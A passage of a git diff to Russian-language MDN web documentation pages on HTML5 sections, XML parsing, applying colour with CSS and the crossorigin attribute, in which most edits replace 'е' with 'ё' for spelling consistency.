            3. Элемент вспомогательного раздела {{HTMLElement("aside")}} задаёт раздел, который, хотя и связан с основным элементом, не принадлежит к основной структуре, например, поясняющая заметка или реклама. Он имеет собственную структуру, однако не входит в основную структуру страницы.
              4. 
+ 
            4. Элемент навигационного раздела {{HTMLElement("nav")}} задаёт раздел, содержащий навигационные ссылки. Таких элементов в документе может быть несколько, например, один со внутренними ссылками на страницу, например, оглавление, а другой – с ссылками для навигации по сайту. Такие ссылки не являются частью основной структуры документа и как правило пропускаются экранными дикторами.
              5. 
 
            
 
 
            Шапки и подвалы
            
@@ -303,8 +303,8 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document
 
            HTML5 также добавляет два новых элемента, которые могут использоваться для разметки верхнего и нижнего колонтитулов страниц:
            
 
 
              
- 
            1. Элемент шапки {{HTMLElement("header")}} задает шапку страницы (как правило, логотип и название сайта, а также горизонтальное меню, если имеется) или раздела (которая может включать заголовок раздела, имя автора и т.д.).{{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, и {{HTMLElement("nav")}} могут иметь собственный {{HTMLElement("header")}}. Несмотря на название, этот элемент не обязательно располагается в начале страницы или раздела.
              2. 
- 
            2. Элемент подвала ({{HTMLElement("footer")}}) задает нижний колонтитул страницы (как правило включающий уведомления об авторских правах и другую правовую информацию, а иногда также содержащий какие-либо ссылки) или раздела (может включать дату публикации, информацию о лицензии и т.п. {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}} и {{HTMLElement("nav")}} могут иметь собственный {{HTMLElement("footer")}}. Несмотря на название, этот элемент не обязательно располагается в конце страницы или раздела.
              3. 
+ 
            3. Элемент шапки {{HTMLElement("header")}} задаёт шапку страницы (как правило, логотип и название сайта, а также горизонтальное меню, если имеется) или раздела (которая может включать заголовок раздела, имя автора и т.д.).{{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, и {{HTMLElement("nav")}} могут иметь собственный {{HTMLElement("header")}}. Несмотря на название, этот элемент не обязательно располагается в начале страницы или раздела.
              4. 
+ 
            4. Элемент подвала ({{HTMLElement("footer")}}) задаёт нижний колонтитул страницы (как правило включающий уведомления об авторских правах и другую правовую информацию, а иногда также содержащий какие-либо ссылки) или раздела (может включать дату публикации, информацию о лицензии и т.п. {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}} и {{HTMLElement("nav")}} могут иметь собственный {{HTMLElement("footer")}}. Несмотря на название, этот элемент не обязательно располагается в конце страницы или раздела.
              5. 
 
            
 
 
            Эти элементы не создают новые разделы в структуре, а скорее используются для разметки контента внутри разделов страницы.
            
@@ -313,7 +313,7 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document
 
 
            Автор документа часто хочет опубликовать свою контактную информацию, например, имя и адрес. HTML4 позволял сделать это с помощью элемента {{HTMLElement("address")}}, расширенного в HTML5.
            
 
-
            Документ может включать несколько разделов, принадлежащих разным авторам. Если раздел создается не автором основной страницы, для задания используется элемент {{HTMLElement("article")}}. В результате элемент {{HTMLElement("address")}} теперь связан с ближайшим родительским {{HTMLElement("body")}} или {{HTMLElement("article")}}.
            
+
            Документ может включать несколько разделов, принадлежащих разным авторам. Если раздел создаётся не автором основной страницы, для задания используется элемент {{HTMLElement("article")}}. В результате элемент {{HTMLElement("address")}} теперь связан с ближайшим родительским {{HTMLElement("body")}} или {{HTMLElement("article")}}.
            
 
 
            Использование элементов HTML5 в браузерах, не поддерживающих HTML5
            
 
@@ -341,7 +341,7 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document
   </script>
 <![endif]-->
            
 
-
            Этот скрипт запускается в Internet Explorer (8 и более ранней версии), однако требует включенной поддержки скриптов для правильного отображения элементов задания разделов и заголовок HTML5. Если поддержка скриптов выключена, это может стать проблемой, поскольку данные элементы, скорее всего, определяют структуру всей страницы. Поэтому необходимо добавить элемент {{HTMLElement("noscript")}}:
            
+
            Этот скрипт запускается в Internet Explorer (8 и более ранней версии), однако требует включённой поддержки скриптов для правильного отображения элементов задания разделов и заголовок HTML5. Если поддержка скриптов выключена, это может стать проблемой, поскольку данные элементы, скорее всего, определяют структуру всей страницы. Поэтому необходимо добавить элемент {{HTMLElement("noscript")}}:
            
 
 
            <noscript>
    <strong>Внимание!</strong>
diff --git a/files/ru/web/guide/index.html b/files/ru/web/guide/index.html
index d2776aed12..a782bc47e9 100644
--- a/files/ru/web/guide/index.html
+++ b/files/ru/web/guide/index.html
@@ -56,7 +56,7 @@ translation_of: Web/Guide
  
            Использование объектов FormData
            
  
            Объект FormData позволяет создать набор пар ключ/значение и передать их, используя XMLHttpRequest. Объект FormData предназначен для передачи данных форм, однако может быть использован для передачи пар ключ/значение независимо от форм. Данные передаются в том же формате, как и данные, передаваемые методом {{domxref("HTMLFormElement.submit","submit()")}} формы, с установленной кодировкой enctype="multipart/form-data".
            
  
            Пользовательский ввод и управление
            
- 
            Это руководство содержит рекомендации по обработке пользовательского ввода и внедрению управляющих элементов в веб-приложения. Также здесь Вы найдете соответствующие FAQs, живые примеры, ссылки на более подробные разборы близлежащих технологий.
            
+ 
            Это руководство содержит рекомендации по обработке пользовательского ввода и внедрению управляющих элементов в веб-приложения. Также здесь Вы найдёте соответствующие FAQs, живые примеры, ссылки на более подробные разборы близлежащих технологий.
            
  
            Словарь (глоссарий терминов)
            
  
            Определения и аббревиатуры в мире Web и Internet.
            
 
diff --git a/files/ru/web/guide/mobile/index.html b/files/ru/web/guide/mobile/index.html
index 149b851884..7279b9cc30 100644
--- a/files/ru/web/guide/mobile/index.html
+++ b/files/ru/web/guide/mobile/index.html
@@ -7,7 +7,7 @@ translation_of: Web/Guide/Mobile
 ---
 
            На этой странице даётся обзор основных методов разработки веб-сайтов, корректно работающих на мобильных устройствах. Если вы ищете информацию о проекте Firefox OS от Mozilla, смотрите страницу Firefox OS. Возможно вас также интересует подробная информация о  Firefox для Android.
            
 
-
            Статья разбита на два раздела: разработка под мобильные устройства и кросс-браузерная совместимость.
            
+
            Статья разбита на два раздела: разработка под мобильные устройства и кросс-браузерная совместимость.
            
  См. также руководство от Jason Grlicky по дружелюбность-к-мобильным для веб-разработчиков.
            
 
 
            Разработка под мобильные устройства
            
@@ -41,7 +41,7 @@ translation_of: Web/Guide/Mobile
 
 
            Наконец, вы можете воспользоваться преимуществом новых возможностей, предлагаемых мобильными устройствами, такие как orientation и geolocation.
            
 
-
            Кросс-браузерная верстка
            
+
            Кросс-браузерная вёрстка
            
 
 
            Пишите кросс-браузерный код
            
 
@@ -50,7 +50,7 @@ translation_of: Web/Guide/Mobile
 
              
  
            • Старайтесь избегать использования стилей, специфических для браузеров, таких как свойства CSS с вендорными префиксами.
              • 
  
            • Если всё же вам необходимо ими воспользоваться, убедитесь что другие браузеры применяют свои собственные версии этих свойств, и укажите их.
              • 
- 
            • Для браузеров, которые не поддерживают эти свойства, обеспечьте приемлемый упрощенный вариант.
              • 
+ 
            • Для браузеров, которые не поддерживают эти свойства, обеспечьте приемлемый упрощённый вариант.
              • 
 
            
 
 
            Например, если вы указываете градиент в качестве фона для какого-либо текста, используя стиль с вендорным префиксом типа -webkit-linear-gradient, правильнее включить другие варианты с вендор-специфическими префиксами для свойства linear-gradient. Если вы этого не делаете, по крайней мере удостоверьтесь, что фон, отображаемый по умолчанию, контрастирует с текстом: тогда страница, по крайней мере, будет корректно отображаться в браузере, который не воспринимает ваше linear-gradient правило.
            
diff --git a/files/ru/web/guide/parsing_and_serializing_xml/index.html b/files/ru/web/guide/parsing_and_serializing_xml/index.html
index a99fe9cd84..5304905afc 100644
--- a/files/ru/web/guide/parsing_and_serializing_xml/index.html
+++ b/files/ru/web/guide/parsing_and_serializing_xml/index.html
@@ -27,11 +27,11 @@ translation_of: Web/Guide/Parsing_and_serializing_XML
  
            {{domxref("XMLSerializer")}}
            
  
            Сериализует деревья DOM, преобразуя их в строки, содержащие XML.
            
  
            {{domxref("DOMParser")}}
            
- 
            Создает дерево DOM, анализируя строку, содержащую XML, возвращая {{domxref ("XMLDocument")}} или {{domxref ("Document")}} в зависимости от входящих данных.
            
+ 
            Создаёт дерево DOM, анализируя строку, содержащую XML, возвращая {{domxref ("XMLDocument")}} или {{domxref ("Document")}} в зависимости от входящих данных.
            
  
            {{domxref("XMLHttpRequest")}}
            
  
            Загружает контент из URL-адреса; Содержимое XML возвращается как объект XML {{domxref ("Document")}} с деревом DOM, построенным из самого XML.
            
  
            XPath
            
- 
            Технология создания строк, содержащих адреса для определенных частей документа XML, и поиска узлов XML на основе этих адресов.
            
+ 
            Технология создания строк, содержащих адреса для определённых частей документа XML, и поиска узлов XML на основе этих адресов.
            
 
 
 
            Создание XML-документа
            
@@ -69,9 +69,9 @@ xhr.responseType = "document";
 xhr.send();
 
            
 
-
            Значение, возвращаемое в поле {{domxref ("XMLHttpRequest.responseXML", "responseXML")}} объекта xhr, является {{domxref ("Document")}}, созданным путем синтаксического анализа XML.
            
+
            Значение, возвращаемое в поле {{domxref ("XMLHttpRequest.responseXML", "responseXML")}} объекта xhr, является {{domxref ("Document")}}, созданным путём синтаксического анализа XML.
            
 
-
            Если документ представляет собой {{Glossary ("HTML")}}, приведенный выше код вернет {{domxref ("Document")}}. Если документ XML, результирующий объект на самом деле является {{domxref ("XMLDocument")}}. Эти два типа по существу одинаковы; разница в основном историческая, хотя дифференциация имеет также некоторые практические преимущества.
            
+
            Если документ представляет собой {{Glossary ("HTML")}}, приведённый выше код вернёт {{domxref ("Document")}}. Если документ XML, результирующий объект на самом деле является {{domxref ("XMLDocument")}}. Эти два типа по существу одинаковы; разница в основном историческая, хотя дифференциация имеет также некоторые практические преимущества.
            
 
 
            
 
            Примечание: на самом деле существует интерфейс {{domxref ("HTMLDocument")}}, но это не обязательно независимый тип. В некоторых браузерах это так, а в других это просто псевдоним для интерфейса документа.
            
@@ -94,7 +94,7 @@ var sXML = oSerializer.serializeToString(doc);
            Serializing HTML documents
            
 
-
            Если у вас есть модель DOM в виде HTML-документа, вы можете сериализовать ее с помощью serializeToString (), но есть более простой вариант: просто используйте свойство {{domxref ("Element.innerHTML")}} (если вам нужны только потомки указанный узел) или свойство {{domxref ("Element.outerHTML")}}, если вам нужен узел и все его потомки.
            
+
            Если у вас есть модель DOM в виде HTML-документа, вы можете сериализовать её с помощью serializeToString (), но есть более простой вариант: просто используйте свойство {{domxref ("Element.innerHTML")}} (если вам нужны только потомки указанный узел) или свойство {{domxref ("Element.outerHTML")}}, если вам нужен узел и все его потомки.
            var docHTML = document.documentElement.innerHTML;
 
            
diff --git a/files/ru/web/guide/user_input_methods/index.html b/files/ru/web/guide/user_input_methods/index.html
index 945fbc3269..ed2af4c050 100644
--- a/files/ru/web/guide/user_input_methods/index.html
+++ b/files/ru/web/guide/user_input_methods/index.html
@@ -12,7 +12,7 @@ translation_of: Web/Guide/User_input_methods
 ---
 
            
 
            Это руководство содержит рекомендации по обработке пользовательского ввода
- и внедрению управляющих элементов в веб-приложения. Также здесь Вы найдете соответствующие FAQs, живые примеры, ссылки на более подробные разборы близлежащих технологий.
+ и внедрению управляющих элементов в веб-приложения. Также здесь Вы найдёте соответствующие FAQs, живые примеры, ссылки на более подробные разборы близлежащих технологий.
  Связанные интерфейсы API и события: события касаний, интерфейс отслеживания указателя мыши,
  интерфейс ориентации экрана,
  интерфейс режима "на весь экран", перетаскивание и сброс и т. д.
            
diff --git a/files/ru/web/html/applying_color/index.html b/files/ru/web/html/applying_color/index.html
index 0ff6dd3410..1815d66f34 100644
--- a/files/ru/web/html/applying_color/index.html
+++ b/files/ru/web/html/applying_color/index.html
@@ -6,7 +6,7 @@ translation_of: Web/HTML/Applying_color
 
            {{HTMLRef}}
            
 
 
            
-
            Использование цвета - одна из фундаментальных форм человеческого восприятия, так дети экспериментируют с цветом еще до того, как начинают осознанно рисовать. Возможно, именно поэтому цвет - одна из первых вещей, с которой люди хотят экспериментировать, изучая разработку веб-сайтов. С помощью CSS, существует множество способов присвоить цвет HTML элементам, чтобы придать им желаемый вид. Эта статья дает базовые представления о всех способах применения цвета к HTML элементам с помощью CSS.
            
+
            Использование цвета - одна из фундаментальных форм человеческого восприятия, так дети экспериментируют с цветом ещё до того, как начинают осознанно рисовать. Возможно, именно поэтому цвет - одна из первых вещей, с которой люди хотят экспериментировать, изучая разработку веб-сайтов. С помощью CSS, существует множество способов присвоить цвет HTML элементам, чтобы придать им желаемый вид. Эта статья даёт базовые представления о всех способах применения цвета к HTML элементам с помощью CSS.
            
 
            
 
 
            К счастью, присвоить цвет к HTML элементу очень просто, и это можно сделать практически со всеми элементами.
            
@@ -27,7 +27,7 @@ translation_of: Web/HTML/Applying_color
 
 
            
  
            {{cssxref("color")}}
            
- 
            Свойство color применяется к тексту и любому оформлению текста, например: подчеркивание, линии на текстом, перечеркивание и т.д.
            
+ 
            Свойство color применяется к тексту и любому оформлению текста, например: подчёркивание, линии на текстом, перечёркивание и т.д.
            
  
            {{cssxref("background-color")}}
            
  
            Цвет фона текста.
            
  
            {{cssxref("text-shadow")}}
            
@@ -36,7 +36,7 @@ translation_of: Web/HTML/Applying_color
  
  
            {{cssxref("text-decoration-color")}}
            
  
            
- 
            По умолчанию, элементы оформление текста (подчеркивание, перечеркивание) используют цвет свойства color. Но вы можете присвоить другой цвет с помощью свойства text-decoration-color.
            
+ 
            По умолчанию, элементы оформление текста (подчёркивание, перечёркивание) используют цвет свойства color. Но вы можете присвоить другой цвет с помощью свойства text-decoration-color.
            
  
            
  
            {{cssxref("text-emphasis-color")}}
            
  
            
@@ -71,7 +71,7 @@ translation_of: Web/HTML/Applying_color
 
 
            
  
            {{cssxref("border-color")}}
            
- 
            Задает единый цвет для всех сторон границы элемента.
            
+ 
            Задаёт единый цвет для всех сторон границы элемента.
            
  
            {{cssxref("border-left-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-top-color")}}, and {{cssxref("border-bottom-color")}}
            
  
            Позволяет установить цвет соответствующей стороне границы элемента: border-left-color - левая граница, border-right-color - правая, border-top-color - верхняя, border-bottom-color - нижняя.
            
  
            {{cssxref("border-block-start-color")}} and {{cssxref("border-block-end-color")}}
            
@@ -80,7 +80,7 @@ translation_of: Web/HTML/Applying_color
  
            Эти свойства определяют цвет границы, расположенной ближе всего к началу и концу текста в блоке. Сторона начала и конца зависит от свойств {{cssxref("writing-mode")}}, {{cssxref("direction")}} и {{cssxref("text-orientation")}}, которые обычно (но не всегда) используются для настройки направления текста. Например, если текст отображается справа налево, то border-inline-start-color применяется к правой стороне границы.
            
 
            
 
-
            Как можно еще использовать цвет
            
+
            Как можно ещё использовать цвет
            
 
 
            CSS не единственная web-технология, которая поддерживает цвет.
            
 
@@ -89,7 +89,7 @@ translation_of: Web/HTML/Applying_color
  
            Позволяет создавать растровую 2D-графику в элементе {{HTMLElement("canvas")}}. См. Canvas tutorial, чтобы узнать больше.
            
  
            SVG (Scalable Vector Graphics - Масштабируемая Векторная Графика)
            
  
            
- 
            Позволяет создавать изображения с помощью команд, которые рисуют определенные фигуры, узоры, линии для создания конечного изображения. Команды SVG форматируются в XML, и могут размещаться непосредственно на веб-странице, или в элементе {{HTMLElement ("img")}}, как и любое другое изображение.
            
+ 
            Позволяет создавать изображения с помощью команд, которые рисуют определённые фигуры, узоры, линии для создания конечного изображения. Команды SVG форматируются в XML, и могут размещаться непосредственно на веб-странице, или в элементе {{HTMLElement ("img")}}, как и любое другое изображение.
            
  
            
  
            WebGL
            
  
            Библиотека Веб-Графики (The Web Graphics Library) - это кроссплатформенный API на основе OpenGL ES, используется для создания высокопроизводительной 2D и 3D-графики в браузере. См. Learn WebGL for 2D and 3D, чтобы узнать больше..
            
@@ -103,7 +103,7 @@ translation_of: Web/HTML/Applying_color
 
 
            Ключевые слова
            
 
-
            Существует набор названий цветов стандартной палитры, который позволяет использовать ключевые слова вместо числового значения цвета. Ключевые слова включают основные и вторичные цвета (такие как красный (red), синий (blue), или оранжевый (orange)), оттенки серого (от черного (black) к белому (white), включая такие цвета как темносерый (darkgray) или светло-серый (lightgrey)), а также множество других смешанных цветов: lightseagreen, cornflowerblue, и rebeccapurple.
            
+
            Существует набор названий цветов стандартной палитры, который позволяет использовать ключевые слова вместо числового значения цвета. Ключевые слова включают основные и вторичные цвета (такие как красный (red), синий (blue), или оранжевый (orange)), оттенки серого (от чёрного (black) к белому (white), включая такие цвета как темносерый (darkgray) или светло-серый (lightgrey)), а также множество других смешанных цветов: lightseagreen, cornflowerblue, и rebeccapurple.
            
 
 
            См. {{SectionOnPage("/en-US/docs/Web/CSS/color_value", "Color keywords", "code")}} - полный перечень всех доступных ключевых слов.
            
 
@@ -113,26 +113,26 @@ translation_of: Web/HTML/Applying_color
 
 
            Шестнадцатеричная запись в виде строки
            
 
-
            Шестнадцатеричная запись передает цвет, используя шестнадцатеричные числа, которые передают каждый компонент цвета (красный, зеленый и синий). Запись также может включать четвертый компонент: альфа-канал (или прозрачность). Каждый компонент цвета может быть представлен как число от 0 до 255 (0x00 - 0xFF) или, опционально, как число от 0 до 15 (0x0 - 0xF). Каждый компонент необходимо задавать используя одинаковое количество чисел. Так, если вы используете однозначное число, то итоговый цвет рассчитывается используя число каждого компонента дважды: "#D" превращается в "#DD".
            
+
            Шестнадцатеричная запись передаёт цвет, используя шестнадцатеричные числа, которые передают каждый компонент цвета (красный, зелёный и синий). Запись также может включать четвёртый компонент: альфа-канал (или прозрачность). Каждый компонент цвета может быть представлен как число от 0 до 255 (0x00 - 0xFF) или, опционально, как число от 0 до 15 (0x0 - 0xF). Каждый компонент необходимо задавать используя одинаковое количество чисел. Так, если вы используете однозначное число, то итоговый цвет рассчитывается используя число каждого компонента дважды: "#D" превращается в "#DD".
            
 
 
            Цвет в шестнадцатеричной записи всегда начинается с символа "#". После него начинаются шестнадцатеричные числа цветового кода. Запись не зависит от регистра.
            
 
 
            
  
            "#rrggbb"
            
- 
            Задает полностью непрозрачный цвет, у которого компонент красного цвета представлен шестнадцатеричным числом 0xrr, зеленого - 0xgg и синего - 0xbb.
            
+ 
            Задаёт полностью непрозрачный цвет, у которого компонент красного цвета представлен шестнадцатеричным числом 0xrr, зелёного - 0xgg и синего - 0xbb.
            
  
            "#rrggbbaa"
            
- 
            Задает цвет, у которого компонент красного представлен шестнадцатеричным числом 0xrr, зеленого - 0xgg и синего - 0xbb. Альфа канал представлен 0xaa; чем ниже значение, тем прозрачнее становится цвет.
            
+ 
            Задаёт цвет, у которого компонент красного представлен шестнадцатеричным числом 0xrr, зелёного - 0xgg и синего - 0xbb. Альфа канал представлен 0xaa; чем ниже значение, тем прозрачнее становится цвет.
            
  
            "#rgb"
            
- 
            Задает цвет, у которого компонент красного представлен шестнадцатеричным числом 0xr, зеленого - 0xg и синего - 0xb.
            
+ 
            Задаёт цвет, у которого компонент красного представлен шестнадцатеричным числом 0xr, зелёного - 0xg и синего - 0xb.
            
  
            "#rgba"
            
- 
            Задает цвет, у которого компонент красного представлен шестнадцатеричным числом 0xr, зеленого - 0xg и синего - 0xb. Альфа канал представлен 0xa; чем ниже значение, тем прозрачнее становится цвет.
            
+ 
            Задаёт цвет, у которого компонент красного представлен шестнадцатеричным числом 0xr, зелёного - 0xg и синего - 0xb. Альфа канал представлен 0xa; чем ниже значение, тем прозрачнее становится цвет.
            
 
            
 
 
            Например, вы можете представить непрозрачный ярко-синий цвет как "#0000ff" или "#00f". Для того, чтобы сделать его на 25% прозрачным, вы можете использовать "#0000ff44" или "#00f4".
            
 
 
            RGB запись в виде функции
            
 
-
            RGB запись в виде функции, как и шестнадцатеричная запись, представляет цвет, используя красный, зеленый и синий компоненты (также, опционально можно использовать компонент альфа канала для прозрачности). Но, вместо того, чтоб использовать строку, цвет определяется CSS функцией {{cssxref("rgb()")}}. Данная функция принимает как вводные параметры значения красного, зеленого и синего компонентов и, опционально, четвертого компонента - значение альфа канала.
            
+
            RGB запись в виде функции, как и шестнадцатеричная запись, представляет цвет, используя красный, зелёный и синий компоненты (также, опционально можно использовать компонент альфа канала для прозрачности). Но, вместо того, чтоб использовать строку, цвет определяется CSS функцией {{cssxref("rgb()")}}. Данная функция принимает как вводные параметры значения красного, зелёного и синего компонентов и, опционально, четвёртого компонента - значение альфа канала.
            
 
 
            Допустимые значения для каждого из этих параметров:
            
 
@@ -152,12 +152,12 @@ translation_of: Web/HTML/Applying_color
 
            
 
            HSL color cylinder
 
            
-
            Рис. 1. Цилиндрическая модель HSL. Hue (оттенок) определяет фактический цвет, основанный на положении вдоль цветового круга, представляя цвета видимого спектра. Saturation (насыщенность) представляет собой процентное соотношение оттенка от серого до максимально насыщенного цвета. По мере увеличения значения luminance/ lightness (светлоты) цвет переходит от самого темного к самому  светлому (от черного к белому). Изображение представлено пользователем SharkD в Wikipedia, распространяется на правах лицензии CC BY-SA 3.0 .
            
+
            Рис. 1. Цилиндрическая модель HSL. Hue (оттенок) определяет фактический цвет, основанный на положении вдоль цветового круга, представляя цвета видимого спектра. Saturation (насыщенность) представляет собой процентное соотношение оттенка от серого до максимально насыщенного цвета. По мере увеличения значения luminance/ lightness (светлоты) цвет переходит от самого тёмного к самому  светлому (от чёрного к белому). Изображение представлено пользователем SharkD в Wikipedia, распространяется на правах лицензии CC BY-SA 3.0 .
            
 
            
 
            
 
            
 
-
            Значение компонента оттенок (H) цветовой модели HSL определяется углом при движении вдоль окружности цилиндра от красного через желтый, зеленый, голубой, синий и маджента, и заканчивая через 360° снова красным. Данное значение определяет базовый цвет. Его можно задать в любых единицах, поддерживаемых CSS свойством {{cssxref("<angle>")}}, а именно -  в градусах (deg), радианах (rad), градиентах (grad) или поворотах (turn). Но компонент оттенок никак не влияет на то, насколько насыщенным, ярким или темным будет цвет.
            
+
            Значение компонента оттенок (H) цветовой модели HSL определяется углом при движении вдоль окружности цилиндра от красного через жёлтый, зелёный, голубой, синий и маджента, и заканчивая через 360° снова красным. Данное значение определяет базовый цвет. Его можно задать в любых единицах, поддерживаемых CSS свойством {{cssxref("<angle>")}}, а именно -  в градусах (deg), радианах (rad), градиентах (grad) или поворотах (turn). Но компонент оттенок никак не влияет на то, насколько насыщенным, ярким или темным будет цвет.
            
 
 
            Компонент насыщенность (S) определяет количество конечного цвета из которого состоит указанный оттенок. Остальное определяется уровнем серого цвета, которое указывает компонент luminance/ lightness (L).
            
 
@@ -165,7 +165,7 @@ translation_of: Web/HTML/Applying_color
 
 
              
  
            1. Вы начинаете с базовой краски, т.е. с максимально возможной интенсивности данного цвета. Например, наиболее насыщенный синий, который может быть представлен на экране пользователя. Это компонент hue (оттенок): значение представляющее угол вокруг цветового круга для насыщенного оттенка, который мы хотим использовать в качестве нашей базы.
              2. 
- 
            2. Далее выберете краску серого оттенка, которая будет соответствовать тому, насколько ярким вы хотите сделать цвет. Это luminance/ lightness (яркость). Вы хотите, чтобы цвет был очень ярким, практически белым или очень темным, ближе к черному, или что-то среднее? Данный компонент определяется в процентах, где 0% - совершенный черный цвет и 100% - совершенный белый (независимо от насыщенности или оттенка). Средние значения - это буквальная серая область.
              3. 
+ 
            3. Далее выберете краску серого оттенка, которая будет соответствовать тому, насколько ярким вы хотите сделать цвет. Это luminance/ lightness (яркость). Вы хотите, чтобы цвет был очень ярким, практически белым или очень темным, ближе к чёрному, или что-то среднее? Данный компонент определяется в процентах, где 0% - совершенный чёрный цвет и 100% - совершенный белый (независимо от насыщенности или оттенка). Средние значения - это буквальная серая область.
              4. 
  
            4. Теперь, когда у есть серый цвет и идеально насыщенный цвет, вам необходимо их смешать. Компонент saturation (насыщенность) определяет какой процент конечного цвета должен состоять из идеально насыщенного цвета. Остаток конечного цвета формируется серым цветом, который представляет насыщенность.
              5. 
 
            
 
@@ -245,7 +245,7 @@ th {
 
 
            Самый простой способ присвоить цвет элементу и то, как это обычно делается - это просто указать цвет в CSS. Мы не будем останавливаться на каждом из вышеупомянутых свойств, а просто рассмотрим несколько примеров. Где бы вы не использовали цвет, принцип один и тот же.
            
 
-
            Давайте начнем наш пример с результата, который нам нужно достичь:
            
+
            Давайте начнём наш пример с результата, который нам нужно достичь:
            
 
 
             
            
 
@@ -253,7 +253,7 @@ th {
 
 
            HTML
            
 
-
            HTML, который создает вышеупомянутый пример:
            
+
            HTML, который создаёт вышеупомянутый пример:
            
 
 
            <div class="wrapper">
   <div class="box boxLeft">
@@ -268,7 +268,7 @@ th {
   </div>
 </div>
            
 
-
            Все довольно просто: первый {{HTMLElement("div")}} используется как обертка (wrapper) содержимого, которое состоит из еще двух <div>, каждый из которых содержит один параграф ({{HTMLElement("p")}}) и имеет свой стиль.
            
+
            Все довольно просто: первый {{HTMLElement("div")}} используется как обёртка (wrapper) содержимого, которое состоит из ещё двух <div>, каждый из которых содержит один параграф ({{HTMLElement("p")}}) и имеет свой стиль.
            
 
 
            Все волшебство, как всегда, происходит в CSS, где мы и будем присваивать цвет к данным HTML элементам..
            
 
@@ -307,7 +307,7 @@ th {
 
 
             
            
 
-
            Вкратце класс .box устанавливает размер каждого блока и параметры шрифта. Также мы используем CSS Flexbox, чтобы с легкостью отцентрировать содержимое каждого блока. Мы включаем режим flex с помощью {{cssxref("display", "display: flex")}}, и присваиваем значение center {{cssxref("justify-content")}} и {{cssxref("align-items")}}. Затем мы создаем отдельные классы для каждого из двух блоков, которые определят индивидуальные свойства.
            
+
            Вкратце класс .box устанавливает размер каждого блока и параметры шрифта. Также мы используем CSS Flexbox, чтобы с лёгкостью отцентрировать содержимое каждого блока. Мы включаем режим flex с помощью {{cssxref("display", "display: flex")}}, и присваиваем значение center {{cssxref("justify-content")}} и {{cssxref("align-items")}}. Затем мы создаём отдельные классы для каждого из двух блоков, которые определят индивидуальные свойства.
            
 
 
             
            
 
@@ -324,7 +324,7 @@ th {
 
              
  
            • {{cssxref("background-color")}} определяет цвет фона блока значением rgb(245, 130, 130).
              • 
  
            • {{cssxref("outline")}}, в отличие от привычного нам свойства border,  не влияет на положение блока и его ширину. Outline представлен сплошной, темно-красной линией, шириной в 2 пикселя. Обратите внимание на ключевое слово darkred, которое используется для определение цвета.
              • 
- 
            • Обратите внимание, что мы не определяем значение цвета текста. Это означает, что свойство {{cssxref("color")}} будет унаследовано от ближайшего родительского элемента, у которого это свойство определено. По умолчанию это черный цвет.
              • 
+ 
            • Обратите внимание, что мы не определяем значение цвета текста. Это означает, что свойство {{cssxref("color")}} будет унаследовано от ближайшего родительского элемента, у которого это свойство определено. По умолчанию это чёрный цвет.
              • 
 
            
 
 
             
            
@@ -346,8 +346,8 @@ th {
  
          • background-color определяется значением HSL: hsl(270deg, 50%, 75%). Это светло-фиолетовый цвет.
            • 
  
          • Outline блока определяет, что вокруг блока должна быть прерывистая линия, шириной в четыре пикселя, фиолетового цвета немного темнее, чем цвет фона (rgb(110, 20, 120)).
            • 
  
          • Цвет текста определяется свойством {{cssxref("color")}}, значение которого hsl(0deg, 100%, 100%). Это один из многих способов задать белый цвет.
            • 
- 
          • С помощью {{cssxref("text-decoration")}} мы добавляем зеленую волнистую линию под текстом.
            • 
- 
          • И наконец, свойство {{cssxref("text-shadow")}} добавляет небольшую черную тень тексту.
            • 
+ 
          • С помощью {{cssxref("text-decoration")}} мы добавляем зелёную волнистую линию под текстом.
            • 
+ 
          • И наконец, свойство {{cssxref("text-shadow")}} добавляет небольшую чёрную тень тексту.
            • 
 
 
 
            Предоставляем возможность пользователю выбрать цвет
            
diff --git a/files/ru/web/html/attributes/crossorigin/index.html b/files/ru/web/html/attributes/crossorigin/index.html
index b0b744eb5d..b709a2876b 100644
--- a/files/ru/web/html/attributes/crossorigin/index.html
+++ b/files/ru/web/html/attributes/crossorigin/index.html
@@ -14,16 +14,16 @@ original_slug: Web/HTML/CORS_settings_attributes
   
   
            
-   
+   
-   
+   
            
      
      
     
 
     
      
      
      
      
     
      
      
     
 
     
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
            
    anonymousCORS запросы от этого элемента не будут передавать учетные данные.CORS запросы от этого элемента не будут передавать учётные данные.
   
            
   
            
    use-credentialsCORS запросы от этого элемента будут передавать учетные данные.CORS запросы от этого элемента будут передавать учётные данные.
   
            
              
 
            
 
-
            По умолчанию (если значение атрибута не задано), CORS не используется вообще. Ключевое слово "anonymous" означает что не будет обмена учетных данных(user credentials) через cookies, client-side SSL сертификаты или HTTP аутентификацию как описано в Секции Терминология CORS спецификации.
            
+
            По умолчанию (если значение атрибута не задано), CORS не используется вообще. Ключевое слово "anonymous" означает что не будет обмена учётных данных(user credentials) через cookies, client-side SSL сертификаты или HTTP аутентификацию как описано в Секции Терминология CORS спецификации.
            
 
 
            Неправильное ключевое слово или пустая строка, будет обработано как  anonymous.
            
 
diff --git a/files/ru/web/html/attributes/index.html b/files/ru/web/html/attributes/index.html
index 874a7d2137..2e63f37bcd 100644
--- a/files/ru/web/html/attributes/index.html
+++ b/files/ru/web/html/attributes/index.html
@@ -113,7 +113,7 @@ translation_of: Web/HTML/Attributes
   
    manifest
    {{ HTMLElement("html") }}
-   Задает URL кешированного манифеста документа.
+   Задаёт URL кешированного манифеста документа.
   
   
    max
@@ -153,7 +153,7 @@ translation_of: Web/HTML/Attributes
   
    novalidate
    {{ HTMLElement("form") }}
-   Этот атрибут указывает, что форма не должна проверяться, когда передается на сервер.
+   Этот атрибут указывает, что форма не должна проверяться, когда передаётся на сервер.
   
   
    open
diff --git a/files/ru/web/html/block-level_elements/index.html b/files/ru/web/html/block-level_elements/index.html
index ce640274c9..2dc399414a 100644
--- a/files/ru/web/html/block-level_elements/index.html
+++ b/files/ru/web/html/block-level_elements/index.html
@@ -47,7 +47,7 @@ translation_of: Web/HTML/Block-level_elements
 
 
            Элементы
            
 
-
